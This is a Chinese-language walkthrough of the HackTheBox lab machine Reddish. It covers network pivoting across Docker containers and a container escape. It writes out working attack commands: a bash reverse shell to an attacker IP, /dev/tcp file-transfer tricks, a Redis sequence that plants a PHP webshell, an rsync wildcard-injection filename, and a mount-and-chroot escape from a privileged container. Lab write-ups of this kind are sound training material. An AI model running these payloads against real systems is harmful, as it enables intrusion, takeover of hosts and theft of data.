通过HTB靶机学习恶劣容器的内网环境下如何内网渗透
字数 1450 2025-08-22 12:23:06
HTB靶机Reddish内网渗透与Docker逃逸实战指南
靶机概述
Reddish是HTB平台上的一台复杂靶机,涉及多个网段和Docker容器之间的横向移动,最终需要通过特权容器逃逸获取完整权限。本靶机主要考察以下技术点:
- Node-RED远程代码执行漏洞利用
- Docker容器横向移动技术
- Redis未授权访问漏洞利用
- 恶劣环境下的文件传输与反弹Shell技术
- 特权容器逃逸技术
信息收集阶段
初始扫描
- 目标IP: 10.10.10.94
- 开放端口: 1880 (Node-RED服务)
- 服务识别: Mongo-Express, Node.js
外围打点 - Node-RED RCE漏洞利用
- 访问目标1880端口,发现Node-RED界面
- 通过POST请求探测发现功能端点
- 利用Node-RED的inject和exec节点实现RCE
- 参考漏洞: https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/
- 构造payload反弹Shell:
bash -i >& /dev/tcp/攻击机IP/端口 0>&1 - 成功获取初始立足点(172.18.0.2/172.19.0.4)
后渗透阶段
Docker环境确认
- 检查根目录存在
.dockerenv文件 - 确认当前处于Docker容器环境
内网探测
发现两个内网网段:
- 172.18.0.0/16
- 172.19.0.0/16
恶劣环境下的扫描技术
- 使用portscan.sh脚本进行初步扫描
- 发现关键服务:
- 172.19.0.3:80 (Web服务)
- 172.19.0.2:6379 (Redis)
文件传输技术(恶劣环境下)
方法1: 攻击机nc+靶机bash
# 攻击机
nc -lvp 4444 < rustscan
# 靶机
cat > rustscan < /dev/tcp/攻击机IP/4444
方法2: Base64编码传递
- 使用在线工具将文件编码为Base64
- 在目标机解码:
echo "BASE64编码" | base64 -d > 文件名
方法3: 纯bash脚本+入口机web服务
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
Redis漏洞利用(172.19.0.2)
- 确认Redis未授权访问(版本4.0.9)
- 写Webshell到共享目录:
redis-cli -h 172.19.0.2 config set dir /var/www/html/f187a0ec71ce99642e4f0afbd441a68b config set dbfilename shell.php set x "<?php system($_GET['cmd']); ?>" save - 通过SSRF+Redis组合攻击
Rsync提权(172.19.0.3)
- 发现定时任务使用rsync备份.rdb文件
- 创建恶意文件实现提权:
# 创建反弹Shell脚本 echo 'bash -i >& /dev/tcp/172.19.0.4/4444 0>&1' > shell.rdb # 或者创建特殊文件名 touch '--rsync-command=sh shell.rdb' - 成功获取root权限并读取第一段flag
Docker特权容器逃逸(backup宿主机)
- 确认特权容器:
cat /proc/self/status | grep CapEff - 挂载宿主机根目录实现逃逸:
mkdir /mnt/host mount /dev/sda1 /mnt/host chroot /mnt/host - 成功获取宿主机完整权限
关键知识点总结
- Node-RED RCE: 利用可视化编程界面的功能节点实现命令执行
- 恶劣环境渗透: 多种文件传输方法适应不同限制条件
- Redis利用: 写Webshell、SSRF组合攻击、Redis-Rogue-Server技术
- Rsync提权: 利用定时任务和通配符特性实现权限提升
- Docker逃逸: 特权容器挂载宿主机文件系统实现逃逸
参考资源
- 官方Writeup: https://www.c1trus.top/37-靶机wp/4-htb/tracks/1-htb-8-year-birthday/2.reddish.html
- Node-RED RCE: https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/
- Docker逃逸指南: https://blog.mo60.cn/index.php/archives/645.html
通过本靶机的实战演练,可以全面掌握内网渗透中常见的Docker环境突破技术,特别是恶劣条件下的生存和横向移动技巧。